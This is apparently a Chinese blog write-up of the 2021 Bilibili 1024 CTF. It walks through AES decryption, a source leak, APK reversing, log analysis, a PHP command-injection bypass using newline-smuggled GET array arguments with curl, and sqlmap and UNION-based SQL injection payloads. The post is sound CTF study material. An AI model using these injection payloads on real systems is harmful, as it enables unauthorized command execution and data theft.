每年的10-24都是个让程序猿想起就会头秃的日子,B站也让程序猿们的血压继续上升,给我们提供了一次骇入(划掉)B站的机会
去年这时正我值高三,在一轮复习的百忙之中利用课间拿手机完成的,而今年这时正值大一军训,知道ctf提前开始我也在困到要死的情况下从床上爬起来搞的,可谓两次逆风开局,准备不充分(晕😵
从去年的啥也不会一脸懵逼做对了前5道题,再到今年虽学了些东西却一脸懵逼连第一道题也不会,让我感到了自己才学疏浅经验不足,看来程序猿和黑客是完全不同的两种职业

技术层面上,这次和去年最大的区别是没有了靶机、没有了SSO登录、同时flag全都是静态的

做题笔记

做题链接https://security.bilibili.com/sec1024/
屏幕截图 2021-10-22 002417.png

第一题

https://security.bilibili.com/sec1024/q/r1.html
屏幕截图 2021-10-22 002604.png

网页上有以下提示内容:

1024程序员节,大家一起和2233参与解密游戏吧~
happy_1024_2233:
e9ca6f21583a1533d3ff4fd47ddc463c6a1c7d2cf084d364
0408abca7deabb96a58f50471171b60e02b1a8dbd32db156

从提示信息可得到,这是一道密码破译类的题

在经过大量测试下,我发现了happy_1024_2233为密钥,而下面两行是16进制的密文需要拼合起来看,使用AES-ECB模式加密
因为happy_1024_2233的长度只有15位,而AES128要求密钥长度为16位,所以需要往密钥后面补0

from Crypto.Cipher import AES
import base64

key = b'happy_1024_2233\x00'
aes = AES.new(key,AES.MODE_ECB)

passwd = 'e9ca6f21583a1533d3ff4fd47ddc463c6a1c7d2cf084d3640408abca7deabb96a58f50471171b60e02b1a8dbd32db156'
passwd = base64.b16decode(passwd.upper())

result = aes.decrypt(passwd).strip(b'\x00')
print(result)

运行后解密结果如下:

b'a1cd5f84-27966146-3776f301-64031bb9'

提交第1题答案后提示正确
QQ截图20211023115853.png

第二题

https://security.bilibili.com/sec1024/q/r2.html
屏幕截图 2021-10-23 123028.png

网页上有以下提示内容:

某高级前端开发攻城狮更改了一个前端配置项
https://security.bilibili.com/sec1024/q/

可以知道题目在这个url里,并且和前端有关
https://security.bilibili.com/sec1024/q/

访问这个页面时通过F12抓包发现这是个标准的VUE框架前端
屏幕截图 2021-10-23 124946.png

遂不去分析js文件,因为源码已经“编译”并混淆,而去F12中的Source选项卡,去查看webpack的解包
屏幕截图 2021-10-24 111527.png

经过了一番“扫荡”,看到webpack://src/views/home.vue的27行注释里有以下敏感内容,猜测是flag2,这是一道典型的前端信息泄露审查题

// 36c7a7b4-cda04af0-8db0368d-b5166480

提交第2题答案后提示正确
QQ截图20211023142130.png

第三题

https://security.bilibili.com/sec1024/q/r3.html
屏幕截图 2021-10-23 102622.png

网页上有以下提示内容:

PHP is the best language for web programming, but what about other languages?
https://security.bilibili.com/sec1024/q/eval.zip

根据提示我知道了出题人认为PHP是最好的网络编程语言,下面还有一行eval.zip的url,随即下载它

wget 'https://security.bilibili.com/sec1024/q/eval.zip'
unzip eval.zip

解压后得到了eval.php,内容如下:

<?php
    /* 
        bilibili- ( ゜- ゜)つロ 乾杯~
        uat: http://192.168.3.2/uat/eval.php
        pro: http://security.bilibili.com/sec1024/q/pro/eval.php
    */
    $args = @$_GET['args'];
    if (count($args) >3) {
        exit();
    }
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) ) {
            exit();
        }
    }
    // todo: other filter
    $cmd = "/bin/2233 " . implode(" ", $args);
    exec($cmd, $out);
    for ($i=0; $i<count($out); $i++){
        echo($out[$i]);
        echo('<br>');
    }
?>

可看出这是一道代码审查题,从第五行的url里,得到这个php文件的执行入口
http://security.bilibili.com/sec1024/q/pro/eval.php

分析一遍代码,我们的目标就是把恶意代码注入到第18行的exec里去,从而实现远程执行自己的shell命令
从第7行得到,要注入的目标url参数是args,请求方法是GET,但args不k-v参数,而是个array
从if和for代码块里能看出,参数args有一些要求,首先array的长度不能大于3,其次每个成员都要符合/^\w+$/的要求,即不能出现除字母、数字及下划线外的字符
第17行的/bin/2233后面用一个implode()函数以空格拼接array的成员为字符串,这里可以卡一个php的bug,通过换行符\n来结束此条指令以便注入,但前面必须有个属于\w的字符用来通过正则

curl 'https://security.bilibili.com/sec1024/q/pro/eval.php' -G \
--data-urlencode $'args[]=a\n' \
--data-urlencode 'args[]=ls'

执行ls命令后得到

1.txt<br>
                 passwd<br>
                 data<br>
                 config<br>

继续执行cat passwd试图取得密码,因为用到了implode()函数以及正则的限制,这就必须分成三个成员了

curl 'https://security.bilibili.com/sec1024/q/pro/eval.php' -G \
--data-urlencode $'args[]=a\n' \
--data-urlencode 'args[]=cat' \
--data-urlencode 'args[]=passwd'

响应得到了密码内容:

9d3c3014-6c6267e7-086aaee5-1f18452a

提交第3题答案后提示正确
QQ图片20211023111428.png

第四题

屏幕截图 2021-10-24 113104.png

网页上有以下提示内容:

懂的都懂
https://security.bilibili.com/sec1024/q/

刚才做过第二题,印象深刻,知道还是刚才那个vue前端,但至于懂的都懂........我可以明确的说我啥也不懂......

因为第二题是从前端下手,所以这道题就要从另一个角度下手了
用F12抓包,筛选XHR发现左边三个选项卡“首页”、“用户信息”、“日志信息”对应三个rest api
屏幕截图 2021-10-24 113431.png

分别是下面三个url,请求方式都是list,请求和响应正文都是application/json格式
首页:https://security.bilibili.com/sec1024/q/admin/api/v1/user/info
用户信息:https://security.bilibili.com/sec1024/q/admin/api/v1/user/list
日志信息:https://security.bilibili.com/sec1024/q/admin/api/v1/log/list

我试图使用sqlmap分别进行SQL注入攻击

sqlmap -u 'https://security.bilibili.com/sec1024/q/admin/api/v1/log/list' --method POST \
--data '{"user_id": "","user_name": "1*","action": "","page": 1,"size": 20}' \
--referer 'https://security.bilibili.com/sec1024/q/' \
--batch --risk=3

QQ截图20211024152326.png

功夫不负有心人,最后终于找到了注入点,存在于user_name字段里面
现在可以直接执行一条SELECT 1,2,3,4,5命令判断字段映射顺序,原理是UNION联合查询时会把字段映射在相同位置上,而user_name=1时查询结果为NULL,不会被其干扰

curl 'https://security.bilibili.com/sec1024/q/admin/api/v1/log/list' \
-H 'Content-Type:application/json' \
-d '{"user_id": "","user_name": "1/**/UNION/**/SELECT/**/1,2,3,4,5","action": "","page": 1,"size": 20}'

屏幕截图 2021-10-26 171344.png

同理继续探查当前数据库下有什么表,注入方法同上

SELECT 1,2,3,GROUP_CONCAT(TABLE_NAME),5
FROM information_schema.TABLES
WHERE TABLE_SCHEMA=DATABASE()

屏幕截图 2021-10-26 180125.png

发现当前数据库下存在flagloguser三张表,那么根据ctf的套路我当然要康康flag里是啥,首先康康有啥字段

由于用WHERE子句进行条件限制字符串内容时需要单引号,测试发现这个后端使用的ORM会过滤掉单引号,而flag转换成ASCII后得到0x666c6167,即可注入成功

SELECT 1,2,3,GROUP_CONCAT(COLUMN_NAME),5
FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA=DATABASE()
  AND
  TABLE_NAME=0x666c6167

屏幕截图 2021-10-26 182555.png

这里得到数据库q下的flag表只有一个字段,不难发现是id,那么直接把这个读取到就可以取得我们需要的东西了

SELECT 1,2,3,GROUP_CONCAT(id),5
FROM flag

屏幕截图 2021-10-26 182939.png

action字段映射的数据也就是所有行id字段的值(当然只有一行),这就是第四题的答案
3d5dd579-0678ef93-18b70cae-cabc5d51

这道题利用了UNION联合查询注入,information_schema数据库下TABLE_NAMECOLUMN_NAME表的全局信息聚合,以及HEX绕过等等MySQL特性(漏洞)

提交第4题答案后提示正确
QQ截图20211024165629.png

第五题

https://security.bilibili.com/sec1024/q/r5.html
屏幕截图 2021-10-23 134559.png

网页上有以下提示内容:

安卓程序员小明学习了新的开发语言,兴奋地写了一个demo app

下方的下载按钮指向了这个url
https://security.bilibili.com/sec1024/q/test.apk

下载并拆包,然后反编译dex文件到jar

wget 'https://security.bilibili.com/sec1024/q/test.apk'
apktool d -s test.apk
d2j-dex2jar test/classes.dex

使用jd-gui继续反编译jar的内容
屏幕截图 2021-10-23 141700.png

通过分析安卓应用的主活动com.example.test.MainActivity里的初始化回调函数onCreate()如下

protected void onCreate(Bundle paramBundle) {
    super.onCreate(paramBundle);
    setContentView(2131427356);
    Button button = (Button) findViewById(2131230803);
    this.btn = button;
    button.setOnClickListener(new View.OnClickListener() {
        public void onClick(View param1View) {
            EditText editText2 = (EditText) MainActivity.this.findViewById(2131230730);
            EditText editText1 = (EditText) MainActivity.this.findViewById(2131230731);
            String str2 = editText2.getText().toString();
            String str1 = editText1.getText().toString();
            byte[] arrayOfByte2 = Encrypt.b(Encrypt.a(str2.getBytes(), 3));
            byte[] arrayOfByte1 = Encrypt.b(Encrypt.a(str1.getBytes(), 3));
            if (Arrays.equals(arrayOfByte2,
                new byte[] { 78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109,
                85, 61 })
                && Arrays.equals(arrayOfByte1, new byte[] { 89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109,
                74, 109, 78, 122, 65, 120, 79, 50, 89, 61 })) {
                Toast.makeText((Context) MainActivity.this, "bilibili- ( ゜- ゜)つロ 乾杯~", 1).show();
                return;
            }
            Toast.makeText((Context) MainActivity.this, "还差一点点~~~", 1).show();
        }
    });
}

这段代码的含义是用句柄取得两个文本框的对象,然后再提取里面输入的文字,之后用两个Encrypt.a()Encrypt.b()进行嵌套加密,最后判断加密结果是否为下面两个固定数组,如果是就弹出浮条“bilibili- ( ゜- ゜)つロ 乾杯~”否则就弹出浮条“还差一点点~~~”

所以就得分析Encrypt类下的a()b()两个函数的意义
屏幕截图 2021-10-24 105508.png

可以看出来函数a()是用数组的每一个成员进行XOR运算,同时修改(重新赋值)这一个成员
b()函数调用了base64的编码

import android.util.Base64;

public class Encrypt {
  public static byte[] a(byte[] paramArrayOfbyte, int paramInt) {
    if (paramArrayOfbyte == null || paramArrayOfbyte.length == 0)
      return null; 
    int j = paramArrayOfbyte.length;
    for (int i = 0; i < j; i++)
      paramArrayOfbyte[i] = (byte)(paramArrayOfbyte[i] ^ paramInt); 
    return paramArrayOfbyte;
  }
  
  public static byte[] b(byte[] paramArrayOfbyte) {
    return Base64.encode(paramArrayOfbyte, 2);
  }
}

这下解题思路就明朗了,是一个典型的逆向工程题,首先把两个字面值固定数组用ASCII解码就会得到一串明显的base64字符串,接下来再进行函数a()的逆运算,由于XOR的逆运算就是它本身,故x=a(a(x)),函数a()在调用加密时参数paramInt传整数3所以解密时同样是3,之后再进行ASCII解码,即可还原两个真实值

因为我不会java所以就用python实现这个加解密过程

import base64

def decrypt(array, paramInt):
    array = bytearray(array)
    for i in range(len(array)):
        array[i] = array[i]^paramInt
    return bytes(array)

first = [78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109, 85, 61]
second = [89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109, 74, 109, 78, 122, 65, 120, 79, 50, 89, 61]

first = base64.b64decode(bytes(first))
second = base64.b64decode(bytes(second))

first = decrypt(first,3).decode()
second = decrypt(second,3).decode()

print(f'first={first}')
print(f'second={second}')

输出结果为

first=516834cc-50e448af
second=bcf9ed53-9ae4328e

拼合这一组key得到516834cc-50e448af-bcf9ed53-9ae4328e即flag5

提交第5题答案后提示正确
QQ截图20211023142146.png

第六题

https://security.bilibili.com/sec1024/q/r5.html
看到这个题目url时竟以为是出题人打错了,试着输入https://security.bilibili.com/sec1024/q/r6.html结果是这样的.....看来我多虑了
屏幕截图 2021-10-24 170008.png

那么依旧从刚才那个apk文件继续下手,安卓的应用的主体大概分为三部分,Dalvik字节码、Native库、资源,刚才看了dex文件,现在就要看看其他的内容了

查看apk拆包后lib目录下的文件

tree test/lib/

发现里面有arm、arm64、x86、x64四个不同架构的Native库,这....大概是需要反汇编了,又到了易姐不怎么擅长的环节了

test/lib/
├── arm64-v8a
│   └── libMylib.so
├── armeabi-v7a
│   └── libMylib.so
├── x86
│   └── libMylib.so
└── x86_64
    └── libMylib.so

这道题我一点也不会,但经过借鉴抄作业完成了(高中时就有的毛病)
援引这条评论
YA2VFUDE50NBS69FNG-1024x182.png

答案为
b13981f4-5ae996d4-bc04be5b-34662a78

提交第6题答案后提示正确
QQ截图20211024163020.png

第七题

https://security.bilibili.com/sec1024/q/r7.html
屏幕截图 2021-10-24 171621.png

网页上有以下提示内容:

安全研究员小孙在早上的时候发现了一波异常流量在访问网站,他初步筛选了这些可疑的请求,请帮他找到所有的恶意 IP 。
flag 生成方式:找到所有的恶意 IP 后,通过通过英文逗号分隔成一个字符串后提交,系统会根据提交的 IP 正确数计算分数。
PS: 解题过程可发送至 security@bilibili.com, 标题: 1024-sec-r7-[你的 mid] 。我们会挑选3位,给予额外惊喜

下方有个“日志下载”的链接url是https://security.bilibili.com/sec1024/q7/evil-log.log.zip?v=2
这道题是个主观题,在大公司的hr招聘时也用到了这种出题办法

wget 'https://security.bilibili.com/sec1024/q7/evil-log.log.zip?v=2' -O evil-log.log.zip
unzip evil-log.log.zip

打开一看是个web后台的访问日志(求求这里别吐槽nppp,因为用VSC打开会卡死
可以看出每一行都是一条访问记录,记录了cookie里的值、UA、referer、访问时间和ip等等
每行的记录都是json串,这就方便了程序读取
屏幕截图 2021-10-27 181445.png

使用数据库可以方便地从多维度展开分析
创建sqlite数据库evil-log.db并创建下表,字段名根据json串中的key命名

CREATE TABLE "log" (
  "timestamp" text,
  "bytes_sent" integer,
  "cdn_scheme" text,
  "cookie_buvid" text,
  "cookie_sid" text,
  "cookie_userid" integer,
  "http_host" text,
  "http_path" text,
  "http_referer" text,
  "http_user_agent" text,
  "request_length" integer,
  "request_time" real,
  "scheme" text,
  "server_name" text,
  "status" integer,
  "upstream_status" integer,
  "x_backend_bili_real_ip" text
);

使用python程序进行数据导入

import sqlite3
import json

db = sqlite3.connect('evil-log.db')
cur = db.cursor()

for line in open('evil-log.log', 'r'):
    log = json.loads(line)
    # print(log)
    cur.execute(
        "INSERT INTO log VALUES ((?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?),(?))",
        (
            log['@timestamp'],
            log['bytes_sent'],
            log.get('cdn_scheme'),
            log['cookie_buvid'] if log['cookie_buvid'] != '-' else None,
            log['cookie_sid'] if log['cookie_sid'] != '-' else None,
            log['cookie_userid'] if log['cookie_userid'] != '-' else None,
            log['http_host'],
            log['http_path'],
            log['http_referer'][1:-1] if log['http_referer'] != '"-"' else None,
            log['http_user_agent'][1:-1] if log['http_user_agent'] != '"-"' else None,
            log['request_length'],
            log.get('request_time'),
            log['scheme'],
            log['server_name'],
            log['status'],
            log['upstream_status'],
            log['x_backend_bili_real_ip'],
        )
    )
db.commit()
print('OK!')

屏幕截图 2021-10-27 172924.png

不到半分钟功夫数据就全部导入了
屏幕截图 2021-10-27 182921.png

执行一条按照ip聚类计数排序指令

SELECT x_backend_bili_real_ip,COUNT(*)
FROM log
GROUP BY x_backend_bili_real_ip
ORDER BY COUNT(*) DESC

按照常理,显然统一ip访问的次数越多,就越异常,像是爬虫的流量而不是人
大概我就只能做到这里了,技术力天花板 >︿<
屏幕截图 2021-10-27 183415.png

由检索到的结果,可以分析出一下ip存在异常访问,根据题目提示,每个ip之间用逗号间隔
至于提交解题方法到邮箱,这个就算了,因为我这拙劣的操作已经能让专业人士哈哈大笑了,就不搁这班门弄斧

jj.bdc.bbb.cc
dc.bb.ii.jj
cde.ced.bbb.dd
cdd.bcc.bg.bib
cd.bb.cai.cbh
cd.baf.cae.cbc
bfh.ff.dj.jf
bfh.ff.dj.ig
bfh.ff.dj.fb
bfh.ff.dj.bd
bfh.ff.dj.bcf
bbb.bb.bjd.bhf
bbb.bb.bjd.bhc
bbb.bb.bjd.bha
bbb.bb.bjd.bgc
bba.ja.ccb.cbc
bba.ja.cca.beg

提交部分答案,算是有些对的答案了~
QQ截图20211024172047.png

题目全部完成
OHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
QQ截图20211026102430.png

总结

最后我以70分的成绩,拿到了4k+的名次(截至博客更新)
B站动态是2k+
屏幕截图 2021-10-26 171816.png

对于我这种以玩硬件入圈的纯业余选手来说,已经很超乎预料了
也算是我个人的黑客初体验,这三年虽学了不少计网和网安知识,但还是自愧不如,综合性知识仍需继续积累

再此也提醒各位,搭建网站或者服务器,请注意前后端的安全,防止被注入、远程执行恶意代码或者信息泄露,当然加密信息尽量使用填充、混淆、加盐或者直接使用私钥等

附件:
sec2021前端dump包sec1024.zip

写于2021-10-23到2021-10-26
————社会易姐QwQ